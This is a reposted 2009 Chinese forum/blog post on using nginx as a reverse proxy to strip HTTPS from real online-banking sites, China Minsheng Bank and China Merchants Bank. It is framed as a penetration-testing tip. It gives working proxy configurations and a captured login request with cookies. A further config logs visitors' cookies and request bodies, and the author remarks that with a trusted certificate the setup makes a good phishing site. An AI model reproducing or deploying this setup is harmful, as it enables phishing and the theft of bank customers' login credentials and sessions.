+ -
当前位置:首页 → 问答吧 → 使用nginx截取https数据

使用nginx截取https数据

时间:2009-12-11

来源:互联网

使用nginx截取https数据
    做渗透测试时,会碰到https加密的网页面,无法直接使用各种工具.可以使用web服务器软件对页面进行转发,从而实现脱密.这边使用nginx进行测试.


    建立一个nginx服务器,修改配置文件/etc/nginx/sites-available/default.以民生银行的个人网银行为例进行配置.

# You may add here your
# server {
# ...
# }
# statements for each of your virtual hosts

server {
        listen 80;
        server_name localhost;

        access_log /var/log/nginx/localhost.access.log;

        location / {
                index index.htm index.html;
                proxy_pass https://ebank.cmbc.com.cn/;
        }

}



通过配置proxy_pass https://ebank.cmbc.com.cn/;使nginx成为一个代理服务器.重启服务后,对nginx服务器进行访问.http://192.168.52.129/index_NonPrivate.html:

通过WSockExpert截取提交数据


POST /weblogic/servlets/EService/CSM/NonPrivateLogin?channelID=&PriErrPage=PriErrPage.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://192.168.52.129/weblogic/nonsecindex.jsp?channelID=
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: 192.168.52.129
Content-Length: 78
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: JSESSIONID=KMhkvGWG51B1f3y37MXvpkqSWvc8vcShLcjnchyLQSzyQq32C5nh!1655737129!270743917; K-JSESSIONID-lgnlbcme=3334A3537EB07580F51C46CFC8ABF69C

logintype=u&txcode=c99900&account=11111111111&loginPwd=222222&CheckCode=333333


如果需要记录通过ngnix代理提交的内容,修改default配置文件.

# HTTPS server
#
server {
        listen 443;
        server_name 192.168.52.129;

        ssl on;
        ssl_certificate ssl/cert.crt;
        ssl_certificate_key ssl/cert.key;

        ssl_session_timeout 5m;

        ssl_protocols SSLv2 SSLv3 TLSv1;
        ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
        ssl_prefer_server_ciphers on;

        location / {
# root /etc/nginx/html;
# index index.html index.htm;
                proxy_pass https://pbsz.ebank.cmbchina.com/;
        }

        log_format main '$remote_addr - [$time_local] $request ||||| $http_cookie ||||| $request_body';
        access_log /var/log/nginx/access.log main;
}


    在日志文件中记录了$http_cookie(cookie信息)和$request_body(http内容),并使用招行个人网银为例.如果在申请一个通过认证的证书,站点将成为一个不错的钓鱼网站.
原文出处:http://blog.chinaunix.net/u3/104553/showart_2065193.html

作者: zhoulian   发布时间: 2009-12-11

热门下载

更多